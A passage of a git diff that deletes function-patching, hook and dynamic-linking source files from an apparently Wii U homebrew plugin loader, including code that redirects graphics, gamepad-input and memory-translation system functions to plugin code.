-            log_printf("Error. Can't save %s for restoring!\n", function_data->function_name);
-        }
-
-        //adding jump to real function thx @ dimok for the assembler code
-        /*
-            90 61 ff e0     stw     r3,-32(r1)
-            3c 60 12 34     lis     r3,4660
-            60 63 56 78     ori     r3,r3,22136
-            7c 69 03 a6     mtctr   r3
-            80 61 ff e0     lwz     r3,-32(r1)
-            4e 80 04 20     bctr*/
-        *space = 0x9061FFE0;
-        space++;
-        *space = 0x3C600000 | (((real_addr + (skip_instr * 4)) >> 16) & 0x0000FFFF); // lis r3, real_addr@h
-        space++;
-        *space = 0x60630000 |  ((real_addr + (skip_instr * 4)) & 0x0000ffff); // ori r3, r3, real_addr@l
-        space++;
-        *space = 0x7C6903A6; // mtctr   r3
-        space++;
-        *space = 0x8061FFE0; // lwz     r3,-32(r1)
-        space++;
-        *space = 0x4E800420; // bctr
-        space++;
-
-
-        uint32_t repl_addr_test = (uint32_t) space;
-        *space = 0x9061FFE0;
-        space++;
-        *space = 0x3C600000 | (((repl_addr) >> 16) & 0x0000FFFF); // lis r3, repl_addr@h
-        space++;
-        *space = 0x60630000 |  ((repl_addr) & 0x0000ffff); // ori r3, r3, repl_addr@l
-        space++;
-        *space = 0x7C6903A6; // mtctr   r3
-        space++;
-        *space = 0x8061FFE0; // lwz     r3,-32(r1)
-        space++;
-        *space = 0x4E800420; // bctr
-        space++;
-        DCFlushRange((void*)(space - instr_len), flush_len);
-        ICInvalidateRange((unsigned char*)(space - instr_len), flush_len);
-
-        //setting jump back
-        uint32_t replace_instr = 0x48000002 | (repl_addr_test & 0x03fffffc);
-        ICInvalidateRange(&replace_instr, 4);
-        DCFlushRange(&replace_instr, 4);
-
-        SC0x25_KernelCopyData(physical, (uint32_t)OSEffectiveToPhysical(&replace_instr), 4);
-        ICInvalidateRange((void*)(real_addr), 4);
-        DCFlushRange((void*)(real_addr), 4);
-
-        function_data->alreadyPatched = 1;
-        DEBUG_FUNCTION_LINE("done with patching %s!\n", function_data->function_name);
-
-    }
-    DEBUG_FUNCTION_LINE("Done with patching given functions!\n");
-}
-
-/* ****************************************************************** */
-/*                  RESTORE ORIGINAL INSTRUCTIONS                     */
-/* ****************************************************************** */
-void new_RestoreInvidualInstructions(replacement_data_plugin_t * plugin_data) {
-    InitAcquireOS();
-    new_resetLibs();
-    DEBUG_FUNCTION_LINE("Restoring given functions!\n");
-
-    int32_t method_hooks_count = plugin_data->number_used_functions;
-
-    for(int32_t i = 0; i < method_hooks_count; i++) {
-        replacement_data_function_t * function_data = &plugin_data->functions[i];
-
-        DEBUG_FUNCTION_LINE("Restoring %s... ",function_data->function_name);
-        if(function_data->restoreInstruction == 0 || function_data->realAddr == 0) {
-            log_printf("I dont have the information for the restore =( skip\n");
-            continue;
-        }
-
-        uint32_t real_addr = new_GetAddressOfFunction(function_data->function_name,function_data->library);
-
-        if(!real_addr) {
-            log_printf("OSDynLoad_FindExport failed for %s\n", function_data->function_name);
-            continue;
-        }
-
-        uint32_t physical = (uint32_t)OSEffectiveToPhysical((void*)real_addr);
-        if(!physical) {
-            log_printf("Something is wrong with the physical address\n");
-            continue;
-        }
-
-        if(new_isDynamicFunction(physical)) {
-            log_printf("Its a dynamic function. We don't need to restore it!\n",function_data->function_name);
-        } else {
-            physical = (uint32_t)OSEffectiveToPhysical((void*)function_data->realAddr); //When its an static function, we need to use the old location
-            if(DEBUG_LOG_DYN) {
-                DEBUG_FUNCTION_LINE("Restoring %08X to %08X\n",(uint32_t)function_data->restoreInstruction,physical);
-            }
-            SC0x25_KernelCopyData(physical,(uint32_t)&function_data->restoreInstruction, 4);
-            if(DEBUG_LOG_DYN) {
-                DEBUG_FUNCTION_LINE("ICInvalidateRange %08X\n",(void*)function_data->realAddr);
-            }
-            ICInvalidateRange((void*)function_data->realAddr, 4);
-            DCFlushRange((void*)function_data->realAddr, 4);
-            log_printf("done\n");
-        }
-        function_data->alreadyPatched = 0; // In case a
-    }
-
-    DEBUG_FUNCTION_LINE("Done with restoring given functions!\n");
-}
-
-int32_t new_isDynamicFunction(uint32_t physicalAddress) {
-    if((physicalAddress & 0x80000000) == 0x80000000) {
-        return 1;
-    }
-    return 0;
-}
-
-uint32_t new_GetAddressOfFunction(const char * functionName,wups_loader_library_type_t library) {
-    uint32_t real_addr = 0;
-
-    if(strcmp(functionName, "OSDynLoad_Acquire") == 0) {
-        memcpy(&real_addr, &OSDynLoad_Acquire, 4);
-        return real_addr;
-    } else if(strcmp(functionName, "LiWaitOneChunk") == 0) {
-        real_addr = (uint32_t)addr_LiWaitOneChunk;
-        return real_addr;
-    } else if(strcmp(functionName, "LiBounceOneChunk") == 0) {
-        //! not required on firmwares above 3.1.0
-        if(OS_FIRMWARE >= 400)
-            return 0;
-
-        uint32_t addr_LiBounceOneChunk = 0x010003A0;
-        real_addr = (uint32_t)addr_LiBounceOneChunk;
-        return real_addr;
-    }
-
-    uint32_t rpl_handle = 0;
-
-    int32_t rpl_handles_size = sizeof rpl_handles / sizeof rpl_handles[0];
-
-    for(int32_t i = 0; i< rpl_handles_size; i++) {
-        if(rpl_handles[i].library == library) {
-            if(rpl_handles[i].handle == 0) {
-                DEBUG_FUNCTION_LINE("Lets acquire handle for rpl: %s\n",rpl_handles[i].rplname);
-                OSDynLoad_Acquire(rpl_handles[i].rplname, &rpl_handles[i].handle);
-            }
-            if(rpl_handles[i].handle == 0) {
-                log_printf("%s failed to acquire\n",rpl_handles[i].rplname);
-                return 0;
-            }
-            rpl_handle = rpl_handles[i].handle;
-            break;
-        }
-    }
-
-    if(!rpl_handle) {
-        DEBUG_FUNCTION_LINE("Failed to find the RPL handle for %s\n", functionName);
-        return 0;
-    }
-
-    OSDynLoad_FindExport(rpl_handle, 0, functionName, &real_addr);
-
-    if(!real_addr) {
-        DEBUG_FUNCTION_LINE("OSDynLoad_FindExport failed for %s\n", functionName);
-        return 0;
-    }
-
-    if((library == WUPS_LOADER_LIBRARY_NN_ACP) && (uint32_t)(*(volatile uint32_t*)(real_addr) & 0x48000002) == 0x48000000) {
-        uint32_t address_diff = (uint32_t)(*(volatile uint32_t*)(real_addr) & 0x03FFFFFC);
-        if((address_diff & 0x03000000) == 0x03000000) {
-            address_diff |=  0xFC000000;
-        }
-        real_addr += (int32_t)address_diff;
-        if((uint32_t)(*(volatile uint32_t*)(real_addr) & 0x48000002) == 0x48000000) {
-            return 0;
-        }
-    }
-
-    return real_addr;
-}
-
-void new_resetLibs() {
-    int32_t rpl_handles_size = sizeof rpl_handles / sizeof rpl_handles[0];
-
-    for(int32_t i = 0; i< rpl_handles_size; i++) {
-        if(rpl_handles[i].handle != 0) {
-            DEBUG_FUNCTION_LINE("Resetting handle for rpl: %s\n",rpl_handles[i].rplname);
-        }
-        rpl_handles[i].handle = 0;
-        // Release handle?
-    }
-}
diff --git a/src/patcher/function_patcher.h b/src/patcher/function_patcher.h
deleted file mode 100644
index 755495a..0000000
--- a/src/patcher/function_patcher.h
+++ /dev/null
@@ -1,92 +0,0 @@
-/****************************************************************************
- * Copyright (C) 2016-2018 Maschell
- * With code from chadderz and dimok
- *
- * This program is free software: you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation, either version 3 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program.  If not, see <http://www.gnu.org/licenses/>.
- ****************************************************************************/
-
-#ifndef _FUNCTION_PATCHER_HOOKS_H_
-#define _FUNCTION_PATCHER_HOOKS_H_
-
-#ifdef __cplusplus
-extern "C" {
-#endif
-
-#include <dynamic_libs/os_functions.h>
-#include <wups.h>
-
-struct rpl_handling {
-    wups_loader_library_type_t library;
-    const char rplname[15];
-    uint32_t handle;
-};
-#define STATIC_FUNCTION          0
-#define DYNAMIC_FUNCTION         1
-
-#define FUNCTION_PATCHER_METHOD_STORE_SIZE                  13
-#define MAXIMUM_PLUGIN_PATH_NAME_LENGTH                     256
-#define MAXIMUM_PLUGIN_NAME_LENGTH                          51
-#define MAXIMUM_FUNCTION_NAME_LENGTH                        61
-
-struct replacement_data_function_t {
-    uint32_t replaceAddr;                                                   /* [needs to be filled] Address of our replacement function */
-    uint32_t replaceCall;                                                   /* [needs to be filled] Address to access the real_function */
-    wups_loader_library_type_t library;                                     /* [needs to be filled] rpl where the function we want to replace is. */
-    char function_name[MAXIMUM_FUNCTION_NAME_LENGTH];                       /* [needs to be filled] name of the function we want to replace */
-    uint32_t realAddr;                                                      /* [will be filled] Address of the real function we want to replace. */
-    volatile uint32_t replace_data [FUNCTION_PATCHER_METHOD_STORE_SIZE];    /* [will be filled] Space for us to store some jump instructions */
-    uint32_t restoreInstruction;                                            /* [will be filled] Copy of the instruction we replaced to jump to our code. */
-    uint8_t functionType;                                                   /* [will be filled] */
-    uint8_t alreadyPatched;                                                 /* [will be filled] */
-};
-
-struct replacement_data_hook_t {
-    void * func_pointer = NULL;                                     /* [will be filled] */
-    wups_loader_hook_type_t type;                                   /* [will be filled] */
-};
-
-#define MAXIMUM_HOOKS_PER_PLUGIN                        10
-#define MAXIMUM_FUNCTION_PER_PLUGIN                     100
-
-struct replacement_data_plugin_t {
-    char                        path[MAXIMUM_PLUGIN_PATH_NAME_LENGTH] = "";     // Path where the plugin is stored
-    char                        plugin_name[MAXIMUM_PLUGIN_NAME_LENGTH] = "";   // Name of this plugin
-    int32_t                     priority;                                       // Priority of this plugin
-    int32_t                     number_used_functions;                          // Number of used function. Maximum is MAXIMUM_FUNCTION_PER_PLUGIN
-    replacement_data_function_t functions[MAXIMUM_FUNCTION_PER_PLUGIN];         // Replacement information for each function.
-
-    int32_t                     number_used_hooks;                              // Number of used hooks. Maximum is MAXIMUM_HOOKS_PER_PLUGIN
-    replacement_data_hook_t     hooks[MAXIMUM_HOOKS_PER_PLUGIN];                // Replacement information for each function.
-    bool                        kernel_allowed;                                 // Allow kernel access for the plugin!?!.
-    bool                        kernel_init_done;                               // KernelInit was done
-};
-
-#define MAXIMUM_PLUGINS                                 32
-
-struct replacement_data_t {
-    int32_t                     number_used_plugins = 0;                        // Number of used function. Maximum is MAXIMUM_FUNCTION_PER_PLUGIN
-    replacement_data_plugin_t   plugin_data[MAXIMUM_PLUGINS];
-};
-
-void new_PatchInvidualMethodHooks(replacement_data_plugin_t * data);
-void new_RestoreInvidualInstructions(replacement_data_plugin_t * plugin_data);
-uint32_t new_GetAddressOfFunction(const char * functionName,wups_loader_library_type_t library);
-int32_t new_isDynamicFunction(uint32_t physicalAddress);
-void new_resetLibs();
-
-#ifdef __cplusplus
-}
-#endif
-
-#endif /* _FUNCTION_PATCHER_HOOKS_H_ */
diff --git a/src/patcher/hooks_patcher.cpp b/src/patcher/hooks_patcher.cpp
deleted file mode 100644
index 952f31e..0000000
--- a/src/patcher/hooks_patcher.cpp
+++ /dev/null
@@ -1,40 +0,0 @@
-#include <utils/logger.h>
-#include <utils/function_patcher.h>
-#include <dynamic_libs/vpad_functions.h>
-#include "common/retain_vars.h"
-#include "hooks_patcher.h"
-#include "myutils/overlay_helper.h"
-#include "myutils/ConfigUtils.h"
-#include "main.h"
-#include "utils.h"
-#include "mymemory/memory_mapping.h"
-#include <video/shaders/Texture2DShader.h>
-
-DECL(uint32_t, ProcUIProcessMessages, uint32_t u) {
-    uint32_t res = real_ProcUIProcessMessages(u);
-    // Only continue if we are in the "right" application.
-    if(res != gAppStatus && OSGetTitleID() == gGameTitleID) {
-        DEBUG_FUNCTION_LINE("App status changed from %d to %d \n",gAppStatus,res);
-        gAppStatus = res;
-        CallHook(WUPS_LOADER_HOOK_APP_STATUS_CHANGED);
-        if(gAppStatus == WUPS_APP_STATUS_CLOSED) {
-            CallHook(WUPS_LOADER_HOOK_ENDING_APPLICATION);
-            ConfigUtils::saveConfigToSD();
-            DeInit();
-            Texture2DShader::destroyInstance();
-        }
-    }
-
-    return res;
-}
-
-hooks_magic_t method_hooks_hooks[] __attribute__((section(".data"))) = {
-    MAKE_MAGIC(ProcUIProcessMessages,           LIB_PROC_UI,    DYNAMIC_FUNCTION),
-};
-
-
-uint32_t method_hooks_size_hooks __attribute__((section(".data"))) = sizeof(method_hooks_hooks) / sizeof(hooks_magic_t);
-
-//! buffer to store our instructions needed for our replacements
-volatile uint32_t method_calls_hooks[sizeof(method_hooks_hooks) / sizeof(hooks_magic_t) * FUNCTION_PATCHER_METHOD_STORE_SIZE] __attribute__((section(".data")));
-
diff --git a/src/patcher/hooks_patcher.h b/src/patcher/hooks_patcher.h
deleted file mode 100644
index ffede0b..0000000
--- a/src/patcher/hooks_patcher.h
+++ /dev/null
@@ -1,18 +0,0 @@
-#ifndef _HOOKS_FUNCTION_PATCHER_H
-#define _HOOKS_FUNCTION_PATCHER_H
-
-#include <utils/function_patcher.h>
-
-#ifdef __cplusplus
-extern "C" {
-#endif
-
-extern hooks_magic_t method_hooks_hooks[];
-extern uint32_t method_hooks_size_hooks;
-extern volatile uint32_t method_calls_hooks[];
-
-#ifdef __cplusplus
-}
-#endif
-
-#endif /* _HOOKS_FUNCTION_PATCHER_H */
diff --git a/src/patcher/hooks_patcher_static.cpp b/src/patcher/hooks_patcher_static.cpp
deleted file mode 100644
index 3ce26d7..0000000
--- a/src/patcher/hooks_patcher_static.cpp
+++ /dev/null
@@ -1,340 +0,0 @@
-#include <utils/logger.h>
-#include <utils/function_patcher.h>
-#include <dynamic_libs/vpad_functions.h>
-#include "common/retain_vars.h"
-#include "hooks_patcher.h"
-#include "myutils/overlay_helper.h"
-#include "myutils/ConfigUtils.h"
-#include <malloc.h>
-#include "main.h"
-#include "utils.h"
-#include "mymemory/memory_mapping.h"
-#include "myutils/mem_utils.h"
-#include "myutils/texture_utils.h"
-
-DECL(void, __PPCExit, void) {
-    // Only continue if we are in the "right" application.
-    //if(OSGetTitleID() == gGameTitleID) {
-    //DEBUG_FUNCTION_LINE("__PPCExit\n");
-    //CallHook(WUPS_LOADER_HOOK_ENDING_APPLICATION);
-    //DeInit();
-    //}
-
-    real___PPCExit();
-}
-
-DECL_FUNCTION(uint32_t, __OSPhysicalToEffectiveCached, uint32_t phyiscalAddress) {
-    uint32_t result = real___OSPhysicalToEffectiveCached(phyiscalAddress);
-    if(result == 0) {
-        result = MemoryMapping::PhysicalToEffective(phyiscalAddress);
-        //DEBUG_FUNCTION_LINE("__OSPhysicalToEffectiveCached in %08X out %08X\n",phyiscalAddress,result);
-    }
-    return result;
-}
-
-DECL_FUNCTION(uint32_t, __OSPhysicalToEffectiveUncached, uint32_t phyiscalAddress) {
-    uint32_t result = real___OSPhysicalToEffectiveUncached(phyiscalAddress);
-    if(result == 0) {
-        result = MemoryMapping::PhysicalToEffective(phyiscalAddress);
-        //DEBUG_FUNCTION_LINE("__OSPhysicalToEffectiveUncached in %08X out %08X\n",phyiscalAddress,result);
-        return result;
-    }
-    return result;
-}
-
-
-DECL_FUNCTION(uint32_t, OSEffectiveToPhysical, uint32_t virtualAddress) {
-    uint32_t result = real_OSEffectiveToPhysical(virtualAddress);
-    if(result == 0) {
-        result = MemoryMapping::EffectiveToPhysical(virtualAddress);
-        //DEBUG_FUNCTION_LINE("OSEffectiveToPhysical in %08X out %08X\n",virtualAddress,result);
-        return result;
-    }
-    return result;
-}
-
-DECL_FUNCTION(int32_t, OSIsAddressValid, uint32_t virtualAddress) {
-    int32_t result = real_OSIsAddressValid(virtualAddress);
-    if(result == 0) {
-        result = (MemoryMapping::EffectiveToPhysical(virtualAddress) > 0);
-        //DEBUG_FUNCTION_LINE("OSIsAddressValid in %08X out %d\n",virtualAddress,result);
-        return result;
-    }
-    return result;
-}
-
-DECL(void, GX2SetTVBuffer, void *buffer, uint32_t buffer_size, int32_t tv_render_mode, int32_t format, int32_t buffering_mode) {
-    tv_store.buffer = buffer;
-    tv_store.buffer_size = buffer_size;
-    tv_store.mode = tv_render_mode;
-    tv_store.surface_format = format;
-    tv_store.buffering_mode = buffering_mode;
-
-    return real_GX2SetTVBuffer(buffer,buffer_size,tv_render_mode,format,buffering_mode);
-}
-
-DECL(void, GX2SetDRCBuffer, void *buffer, uint32_t buffer_size, int32_t drc_mode, int32_t surface_format, int32_t buffering_mode) {
-    drc_store.buffer = buffer;
-    drc_store.buffer_size = buffer_size;
-    drc_store.mode = drc_mode;
-    drc_store.surface_format = surface_format;
-    drc_store.buffering_mode = buffering_mode;
-
-    return real_GX2SetDRCBuffer(buffer,buffer_size,drc_mode,surface_format,buffering_mode);
-}
-
-DECL(void, GX2WaitForVsync, void) {
-    CallHook(WUPS_LOADER_HOOK_VSYNC);
-    real_GX2WaitForVsync();
-}
-
-uint8_t vpadPressCooldown = 0xFF;
-
-uint8_t angleX_counter = 0;
-float angleX_delta = 0.0f;
-float angleX_last = 0.0f;
-uint8_t angleX_frameCounter = 0;
-
-void checkMagic(VPADData *buffer) {
-    // buffer->angle stores the rotations per axis since the app started.
-    // Each full rotation add/subtracts 1.0f (depending on the direction).
-
-    // Check for rotation every only 5 frames.
-    angleX_frameCounter++;
-    if(angleX_frameCounter >= 5) {
-        // Get how much the gamepad rotated within the last 5 frames.
-        float diff_angle = -(buffer->angle.x - angleX_last);
-        // We want the gamepad to make (on average) at least 0.16% (1/6) of a full rotation per 5 frames (for 6 times in a row).
-        float target_diff = (0.16f);
-        // Calculate if rotated enough in this step (including the delta from the last step).
-        float total_diff = (diff_angle + angleX_delta) - target_diff;
-        if(total_diff > 0.0f) {
-            // The rotation in this step was enough.
-            angleX_counter++;
-            // When the gamepad rotated ~0.16% for 6 times in a row we made a full rotation!
-            if(angleX_counter > 5) {
-                ConfigUtils::openConfigMenu();
-                // reset stuff.
-                angleX_counter = 0;
-                angleX_delta = 0.0f;
-            } else {
-                // Save difference as it will be added on the next check.
-                angleX_delta = total_diff;
-            }
-        } else {
-            // reset counter if it stopped rotating.
-            angleX_counter = 0;
-        }
-        angleX_frameCounter = 0;
-        angleX_last = buffer->angle.x;
-    }
-}
-
-DECL(int32_t, VPADRead, int32_t chan, VPADData *buffer, uint32_t buffer_size, int32_t *error) {
-    int32_t result = real_VPADRead(chan, buffer, buffer_size, error);
-
-    if(result > 0 && (buffer[0].btns_h == (VPAD_BUTTON_PLUS | VPAD_BUTTON_R | VPAD_BUTTON_L)) && vpadPressCooldown == 0 && OSIsHomeButtonMenuEnabled()) {
-        if(MemoryMapping::isMemoryMapped()) {
-            MemoryMapping::readTestValuesFromMemory();
-        } else {
-            DEBUG_FUNCTION_LINE("Memory was not mapped. To test the memory please exit the plugin loader by pressing MINUS\n");
-        }
-        vpadPressCooldown = 0x3C;
-    }
-
-    if(result > 0 && (buffer[0].btns_h == (VPAD_BUTTON_L | VPAD_BUTTON_DOWN | VPAD_BUTTON_MINUS)) && vpadPressCooldown == 0 && OSIsHomeButtonMenuEnabled()) {
-        ConfigUtils::openConfigMenu();
-        vpadPressCooldown = 0x3C;
-    } else if(result > 0 && OSIsHomeButtonMenuEnabled()) {
-        checkMagic(buffer);
-    }
-
-    if(vpadPressCooldown > 0) {
-        vpadPressCooldown--;
-    }
-    return result;
-}
-
-void setupContextState() {
-    g_vid_ownContextState = (GX2ContextState*)memalign(
-                                GX2_CONTEXT_STATE_ALIGNMENT,
-                                sizeof(GX2ContextState)
-                            );
-    if(g_vid_ownContextState == NULL) {
-        OSFatal("VideoSquoosher: Failed to alloc g_vid_ownContextState\n");
-    }
-    GX2SetupContextStateEx(g_vid_ownContextState, 1);
-
-    GX2SetContextState(g_vid_ownContextState);
-    GX2SetColorBuffer(&g_vid_main_cbuf, GX2_RENDER_TARGET_0);
-    //GX2SetDepthBuffer(&tvDepthBuffer);
-    GX2SetContextState(g_vid_originalContextSave);
-    DEBUG_FUNCTION_LINE("Setup contest state done\n");
-}
-
-void initTextures() {
-    GX2InitColorBuffer(&g_vid_main_cbuf,
-                       GX2_SURFACE_DIM_2D,
-                       1280, 720, 1,
-                       GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_UNORM,
-                       GX2_AA_MODE_1X
-                      );
-
-    if (g_vid_main_cbuf.surface.image_size) {
-        g_vid_main_cbuf.surface.image_data = MemoryUtils::alloc(
-                g_vid_main_cbuf.surface.image_size,
-                g_vid_main_cbuf.surface.align
-                                             );
-        if(g_vid_main_cbuf.surface.image_data == NULL) {
-            OSFatal("Failed to alloc g_vid_main_cbuf\n");
-        }
-        DEBUG_FUNCTION_LINE("Allocated %dx%d g_vid_main_cbuf %08X\n",
-                            g_vid_main_cbuf.surface.width,
-                            g_vid_main_cbuf.surface.height,
-                            g_vid_main_cbuf.surface.image_data);
-    } else {
-        DEBUG_FUNCTION_LINE("GX2InitTexture failed for g_vid_main_cbuf!\n");
-    }
-
-    GX2InitTexture(&g_vid_drcTex,
-                   854, 480, 1, 0,
-                   GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_UNORM,
-                   GX2_SURFACE_DIM_2D,
-                   GX2_TILE_MODE_LINEAR_ALIGNED
-                  );
-    g_vid_drcTex.surface.use = (GX2_SURFACE_USE_COLOR_BUFFER | GX2_SURFACE_USE_TEXTURE);
-
-    if (g_vid_drcTex.surface.image_size) {
-
-        g_vid_drcTex.surface.image_data = MemoryUtils::alloc(
-                                              g_vid_drcTex.surface.image_size,
-                                              g_vid_drcTex.surface.align);
-
-        if(g_vid_drcTex.surface.image_data == NULL) {
-            OSFatal("VideoSquoosher: Failed to alloc g_vid_drcTex\n");
-        }
-        GX2Invalidate(GX2_INVALIDATE_CPU, g_vid_drcTex.surface.image_data, g_vid_drcTex.surface.image_size);
-        DEBUG_FUNCTION_LINE("VideoSquoosher: allocated %dx%d g_vid_drcTex %08X\n",
-                            g_vid_drcTex.surface.width,
-                            g_vid_drcTex.surface.height,
-                            g_vid_drcTex.surface.image_data);
-
-    } else {
-        DEBUG_FUNCTION_LINE("VideoSquoosher: GX2InitTexture failed for g_vid_drcTex!\n");
-    }
-
-    GX2InitTexture(&g_vid_tvTex,
-                   1280, 720, 1, 0,
-                   GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_UNORM,
-                   GX2_SURFACE_DIM_2D,
-                   GX2_TILE_MODE_LINEAR_ALIGNED
-                  );
-    g_vid_tvTex.surface.use =
-        (GX2_SURFACE_USE_COLOR_BUFFER | GX2_SURFACE_USE_TEXTURE);
-
-    DCFlushRange(&g_vid_tvTex, sizeof(GX2Texture));
-
-    if (g_vid_tvTex.surface.image_size) {
-        g_vid_tvTex.surface.image_data = MemoryUtils::alloc(
-                                             g_vid_tvTex.surface.image_size,
-                                             g_vid_tvTex.surface.align
-                                         );
-        if(g_vid_tvTex.surface.image_data == NULL) {
-            OSFatal("VideoSquoosher: Failed to alloc g_vid_tvTex\n");
-        }
-        GX2Invalidate(GX2_INVALIDATE_CPU, g_vid_tvTex.surface.image_data, g_vid_tvTex.surface.image_size);
-        DEBUG_FUNCTION_LINE("VideoSquoosher: allocated %dx%d g_vid_tvTex %08X\n",
-                            g_vid_tvTex.surface.width,
-                            g_vid_tvTex.surface.height,
-                            g_vid_tvTex.surface.image_data);
-    } else {
-        DEBUG_FUNCTION_LINE("VideoSquoosher: GX2InitTexture failed for g_vid_tvTex!\n");
-    }
-
-    GX2InitSampler(&g_vid_sampler,
-                   GX2_TEX_CLAMP_CLAMP,
-                   GX2_TEX_XY_FILTER_BILINEAR
-                  );
-}
-
-DECL_FUNCTION(void, GX2SetContextState, GX2ContextState * curContext) {
-    if(gAppStatus == WUPS_APP_STATUS_FOREGROUND) {
-        g_vid_originalContextSave = curContext;
-    }
-    real_GX2SetContextState(curContext);
-}
-
-DECL_FUNCTION(void, GX2CopyColorBufferToScanBuffer, GX2ColorBuffer* cbuf, int32_t target) {
-    bool hasDRCHook = HasHookCallHook(WUPS_LOADER_HOOK_VID_DRC_DRAW);
-    bool hasTVHook = HasHookCallHook(WUPS_LOADER_HOOK_VID_TV_DRAW);
-    if(gAppStatus != WUPS_APP_STATUS_FOREGROUND || !g_NotInLoader || (!hasDRCHook && !hasTVHook)) {
-        return real_GX2CopyColorBufferToScanBuffer(cbuf,target);
-    }
-
-    if (!g_vid_drcTex.surface.image_data) {
-        initTextures();
-    }
-
-    if(g_vid_ownContextState == NULL) {
-        setupContextState();
-    }
-
-    if(target == 1) {
-        TextureUtils::copyToTexture(cbuf,&g_vid_tvTex);
-        if(!hasTVHook) {
-            return real_GX2CopyColorBufferToScanBuffer(cbuf,target);
-        }
-    } else if(target == 4) {
-        TextureUtils::copyToTexture(cbuf,&g_vid_drcTex);
-        if(!hasDRCHook) {
-            return real_GX2CopyColorBufferToScanBuffer(cbuf,target);
-        }
-    }
-
-    GX2SetContextState(g_vid_ownContextState);
-    GX2ClearColor(&g_vid_main_cbuf, 1.0f, 1.0f, 1.0f, 1.0f);
-    GX2SetContextState(g_vid_ownContextState);
-
-    GX2SetViewport(
-        0.0f, 0.0f,
-        g_vid_main_cbuf.surface.width, g_vid_main_cbuf.surface.height,
-        0.0f, 1.0f
-    );
-    GX2SetScissor(
-        0, 0,
-        g_vid_main_cbuf.surface.width, g_vid_main_cbuf.surface.height
-    );
-
-    if(target == 1) {
-        //drawTexture(&g_vid_tvTex, &g_vid_sampler, 0, 0, 1280, 720, 1.0f);
-        CallHook(WUPS_LOADER_HOOK_VID_TV_DRAW);
-    } else if(target == 4) {
-        //drawTexture(&g_vid_drcTex, &g_vid_sampler, 0, 0, 1280, 720, 1.0f);
-        CallHook(WUPS_LOADER_HOOK_VID_DRC_DRAW);
-    }
-
-    GX2SetContextState(g_vid_originalContextSave);
-
-    return real_GX2CopyColorBufferToScanBuffer(&g_vid_main_cbuf,target);
-}
-
-
-hooks_magic_t method_hooks_hooks_static[] __attribute__((section(".data"))) = {
-    MAKE_MAGIC(__PPCExit,                       LIB_CORE_INIT,  STATIC_FUNCTION),
-    MAKE_MAGIC(GX2SetTVBuffer,                  LIB_GX2,        STATIC_FUNCTION),
-    MAKE_MAGIC(GX2SetDRCBuffer,                 LIB_GX2,        STATIC_FUNCTION),
-    MAKE_MAGIC(GX2WaitForVsync,                 LIB_GX2,        STATIC_FUNCTION),
-    MAKE_MAGIC(GX2CopyColorBufferToScanBuffer,  LIB_GX2,        STATIC_FUNCTION),
-    MAKE_MAGIC(GX2SetContextState,              LIB_GX2,        STATIC_FUNCTION),
-    MAKE_MAGIC(VPADRead,                        LIB_VPAD,       STATIC_FUNCTION),
-    MAKE_MAGIC(OSIsAddressValid,                LIB_CORE_INIT,  STATIC_FUNCTION),
-    MAKE_MAGIC(__OSPhysicalToEffectiveUncached, LIB_CORE_INIT,  STATIC_FUNCTION),
-    MAKE_MAGIC(__OSPhysicalToEffectiveCached,   LIB_CORE_INIT,  STATIC_FUNCTION),
-    MAKE_MAGIC(OSEffectiveToPhysical,           LIB_CORE_INIT,  STATIC_FUNCTION),
-};
-
-uint32_t method_hooks_size_hooks_static __attribute__((section(".data"))) = sizeof(method_hooks_hooks_static) / sizeof(hooks_magic_t);
-
-//! buffer to store our instructions needed for our replacements
-volatile uint32_t method_calls_hooks_static[sizeof(method_hooks_hooks_static) / sizeof(hooks_magic_t) * FUNCTION_PATCHER_METHOD_STORE_SIZE] __attribute__((section(".data")));
-
diff --git a/src/patcher/hooks_patcher_static.h b/src/patcher/hooks_patcher_static.h
deleted file mode 100644
index 16ea7ad..0000000
--- a/src/patcher/hooks_patcher_static.h
+++ /dev/null
@@ -1,18 +0,0 @@
-#ifndef _HOOKS_STATIC_FUNCTION_PATCHER_H
-#define _HOOKS_STATIC_FUNCTION_PATCHER_H
-
-#include <utils/function_patcher.h>
-
-#ifdef __cplusplus
-extern "C" {
-#endif
-
-extern hooks_magic_t method_hooks_hooks_static[];
-extern uint32_t method_hooks_size_hooks_static;
-extern volatile uint32_t method_calls_hooks_static[];
-
-#ifdef __cplusplus
-}
-#endif
-
-#endif /* _HOOKS_STATIC_FUNCTION_PATCHER_H */
diff --git a/src/plugin/DynamicLinkingHelper.cpp b/src/plugin/DynamicLinkingHelper.cpp
deleted file mode 100644
index 207e13c..0000000
--- a/src/plugin/DynamicLinkingHelper.cpp
+++ /dev/null
@@ -1,197 +0,0 @@
-#include "DynamicLinkingHelper.h"
-#include <stdio.h>
-#include <string.h>
-#include <vector>
-#include "utils/logger.h"
-#include "ElfTools.h"
-#include "PluginLoader.h"
-
-DynamicLinkingHelper * DynamicLinkingHelper::instance = NULL;
-
-dyn_linking_function_t * DynamicLinkingHelper::getOrAddFunctionEntryByName(const char* functionName) {
-    if(functionName == NULL) {
-        return NULL;
-    }
-    dyn_linking_function_t * result = NULL;
-    for(int32_t i = 0; i < DYN_LINK_FUNCTION_LIST_LENGTH; i++) {
-        dyn_linking_function_t * curEntry = &gbl_dyn_linking_data.functions[i];
-        if(strlen(curEntry->functionName) == 0) {
-            strncpy(curEntry->functionName,functionName,DYN_LINK_FUNCTION_NAME_LENGTH);
-            result = curEntry;
-            break;
-        }
-        if(strncmp(curEntry->functionName,functionName,DYN_LINK_FUNCTION_NAME_LENGTH) == 0) {
-            result = curEntry;
-            break;
-        }
-    }
-    return result;
-}
-
-dyn_linking_import_t * DynamicLinkingHelper::getOrAddFunctionImportByName(const char* importName) {
-    return getOrAddImport(importName, false);
-
-}
-
-dyn_linking_import_t * DynamicLinkingHelper::getOrAddDataImportByName(const char* importName) {
-    return getOrAddImport(importName, true);
-
-}
-
-dyn_linking_import_t * DynamicLinkingHelper::getOrAddImport(const char* importName, bool isData) {
-    if(importName == NULL) {
-        return NULL;
-    }
-    dyn_linking_import_t * result = NULL;
